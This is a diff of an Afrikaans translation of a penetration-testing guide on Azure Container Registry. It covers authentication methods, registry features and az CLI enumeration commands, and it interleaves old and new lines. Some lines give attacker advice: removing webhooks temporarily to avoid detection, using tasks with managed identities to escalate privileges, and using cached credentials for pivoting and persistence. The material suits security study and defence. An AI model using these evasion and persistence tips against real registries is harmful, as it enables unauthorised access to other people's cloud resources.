- **With a Service Principal**: Dit is moontlik om 'n **service principal** te skep en 'n role soos **`AcrPull`** toe te ken om images te pull. Dan sal dit moontlik wees om by die registry aan te meld deur die SP appId as username en 'n gegenereerde secret as password te gebruik.
|
||||
- **With Entra ID**: Dit is die **default** manier om aan 'n ACR te authenticate. Dit gebruik die **`az acr login`**-command om aan die ACR te authenticate. Hierdie command sal die **credentials** in die **`~/.docker/config.json`**-lêer **stoor**. Verder, as jy hierdie command uitvoer vanuit 'n environment sonder toegang tot 'n docker socket, soos in 'n **cloud shell**, is dit moontlik om die **`--expose-token`**-flag te gebruik om die **token** te kry om aan die ACR te authenticate. Om dan te authenticate, moet jy `00000000-0000-0000-0000-000000000000` as user name gebruik, soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **With an admin account**: Die admin user is by verstek gedeaktiveer, maar dit kan geaktiveer word. Daarna sal dit moontlik wees om toegang tot die registry te verkry met die **username** en **password** van die admin account, met volledige permissions oor die registry. Dit word steeds ondersteun omdat sommige Azure-dienste dit gebruik. Let daarop dat **2 passwords** vir hierdie user geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die username gewoonlik die registry-naam is (en nie `admin` nie).
|
||||
- **With a token**: Dit is moontlik om 'n **token** met 'n **specific `scope map`** (permissions) te skep om toegang tot die registry te verkry. Daarna is dit moontlik om die token se naam as username en enige van die gegenereerde passwords te gebruik om aan die registry te authenticate met `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **With a Service Principal**: Dit is moontlik om 'n **service principal** te skep en 'n rol soos **`AcrPull`** toe te ken om images te pull. Daarna sal dit moontlik wees om **aan die registry te login** deur die SP appId as username en 'n gegenereerde secret as password te gebruik.
|
||||
|
||||
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
|
||||
Voorbeeldscript uit die [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) om 'n SP met access oor 'n registry te genereer:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
### Enkripsie
|
||||
|
||||
Slegs die **Premium SKU** ondersteun **encryption at rest** vir die images en ander artifacts.
|
||||
Slegs die **Premium SKU** ondersteun **enkripsie in rus** vir die images en ander artifacts.
|
||||
|
||||
### Networking
|
||||
### Netwerk
|
||||
|
||||
Slegs die **Premium SKU** ondersteun **private endpoints**. Die ander ondersteun net **public access**. ’n Public endpoint het die formaat `<registry-name>.azurecr.io` en ’n private endpoint het die formaat `<registry-name>.privatelink.azurecr.io`. Om hierdie rede moet die naam van die registry uniek wees oor alle Azure.
|
||||
Slegs die **Premium SKU** ondersteun **private endpoints**. Die ander ondersteun slegs **publieke toegang**. ’n Publieke endpoint het die formaat `<registry-name>.azurecr.io`, en ’n private endpoint het die formaat `<registry-name>.privatelink.azurecr.io`. Om hierdie rede moet die naam van die registry uniek wees binne die hele Azure.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
Dit laat jou toe om die images in die registry te **scan** vir **vulnerabilities**.
|
||||
Dit laat jou toe om die **images** in die registry vir **kwesbaarhede** te **scan**.
|
||||
|
||||
### Soft-delete
|
||||
|
||||
Die **soft-delete**-funksie laat jou toe om ’n **deleted registry** binne die aangeduide aantal dae te **recover**. Hierdie funksie is **disabled by default**.
|
||||
Die **soft-delete**-funksie laat jou toe om ’n **verwyderde registry te herstel** binne die aangeduide aantal dae. Hierdie funksie is **by verstek gedeaktiveer**.
|
||||
|
||||
### Webhooks
|
||||
|
||||
Dit is moontlik om **webhooks** binne registries te **create**. In hierdie webhook moet die URL gespesifiseer word waarheen ’n **request** gestuur sal word wanneer ’n push of delete action uitgevoer word. Verder kan Webhooks ’n scope aandui om die repositories (images) te spesifiseer wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken events onder repository 'foo'.
|
||||
Dit is moontlik om **webhooks te skep** binne registries. In hierdie webhook moet jy die URL spesifiseer waarheen ’n **request gestuur sal word wanneer ’n push- of delete-aksie uitgevoer word**. Webhooks kan ook ’n scope aandui om te spesifiseer watter repositories (images) geraak sal word. Byvoorbeeld, `foo:*` beteken events onder repository `foo`.
|
||||
|
||||
Van ’n attacker se perspektief is dit interessant om dit **before performing any action** in die registry te check, en dit tydelik te remove indien nodig, om detection te vermy.
|
||||
Vanuit ’n attacker se perspektief is dit interessant om dit **te kontroleer voordat enige aksie** in die registry uitgevoer word, en dit tydelik te verwyder indien nodig, om te voorkom dat jy opgespoor word.
|
||||
|
||||
### Connected registries
|
||||
### Gekoppelde registries
|
||||
|
||||
Dit laat basies toe om die images van een registry na ’n ander een te **mirror**, gewoonlik on-premises geleë.
|
||||
Dit laat jou basies toe om die **images van een registry na ’n ander te mirror**, wat gewoonlik on-premises geleë is.
|
||||
|
||||
Dit het 2 modes: **ReadOnly** en **ReadWrite**. In die eerste een word die images net van die source registry af **pulled**, en in die tweede een kan images ook na die source registry toe **pushed** word.
|
||||
Dit het 2 modes: **ReadOnly** en **ReadWrite**. In die eerste een word die images slegs **van die source registry gepull**, en in die tweede een kan images ook **na die source registry gepush** word.
|
||||
|
||||
Om clients toe te laat om toegang tot die registry vanaf Azure te kry, word ’n **token** gegenereer wanneer die conected registry gebruik word.
|
||||
Wanneer clients vanaf Azure toegang tot die registry moet verkry, word ’n **token** gegenereer wanneer die connected registry gebruik word.
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks laat jou toe om in Azure container-related actions uit te voer wat jy tipies plaaslik of in ’n CI/CD pipeline moes doen. Byvoorbeeld, jy kan **build, push, and run images in the registry**.
|
||||
Runs & Tasks laat jou toe om container-verwante aksies in Azure uit te voer wat jy tipies plaaslik of in ’n CI/CD-pipeline moes uitvoer. Jy kan byvoorbeeld **images in die registry build, push en run**.
|
||||
|
||||
Die maklikste manier om ’n container te build en run is deur ’n gewone Run te gebruik:
|
||||
Die maklikste manier om ’n container te build en run, is om ’n gewone Run te gebruik:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Egter, dit sal runs aktiveer wat nie baie interessant is vanuit ’n attacker se perspektief nie, omdat hulle nie enige managed identity aan hulle gekoppel het nie.
|
||||
However, dit sal uitvoerings aktiveer wat nie vanuit ’n aanvaller se perspektief baie interessant is nie, omdat hulle geen managed identity daaraan gekoppel het nie.
|
||||
|
||||
Egter, **tasks** kan ’n **system and user managed identity** aan hulle gekoppel hê. Hierdie tasks is die nuttige een om **privileges te escalate** in die container. In die privileges escalation-afdeling is dit moontlik om te sien hoe om tasks te gebruik om privileges te escalate.
|
||||
**tasks** kan egter ’n **system and user managed identity** hê wat daaraan gekoppel is. Hierdie tasks is diegene wat nuttig is om **escalate privileges** in die container. In die privilege escalation-afdeling is dit moontlik om te sien hoe om tasks te gebruik om privileges te escaleer.
|
||||
|
||||
### Cache
|
||||
|
||||
Die cache-funksie laat toe om **images van ’n external repository af te download** en die nuwe weergawes in die registry te stoor. Dit vereis dat daar sekere **credentials configured** is deur die credentials uit ’n Azure Vault te kies.
|
||||
Die Cache-funksie laat toe om **images van ’n eksterne repository af te laai** en die nuwe weergawes in die registry te stoor. Dit vereis dat sommige **credentials configured** is deur die credentials uit ’n Azure Vault te kies.
|
||||
|
||||
Dit is baie interessant vanuit ’n attacker se perspektief omdat dit toelaat om te **pivot na ’n external platform** as die attacker genoeg permissions het om toegang tot die credentials te kry, **download images from an external repository** en die configuring van ’n cache kan ook gebruik word as **persistence mechanism**.
|
||||
Dit is baie interessant vanuit ’n aanvaller se perspektief, omdat dit toelaat om **na ’n eksterne platform te pivot** indien die aanvaller genoeg permissions het om toegang tot die credentials te verkry. **Images van ’n eksterne repository aflaai** en ’n cache configureer, kan ook as ’n **persistence mechanism** gebruik word.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Dit is baie belangrik dat selfs al bevat die registry name sommige uppercase letters, jy slegs lowercase letters in die url moet gebruik om toegang daartoe te kry.
|
||||
> Dit is baie belangrik dat jy, selfs al bevat die registry-naam sommige hoofletters, slegs kleinletters in die URL gebruik om daarby toegang te verkry.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
@@ -143,7 +143,7 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Ongeloofde toegang
|
||||
## Ongemagtigde Toegang
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
@@ -155,6 +155,10 @@ az acr cache show --name <cache-name> --registry <registry-name>
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
|
||||
Reference in New Issue
Block a user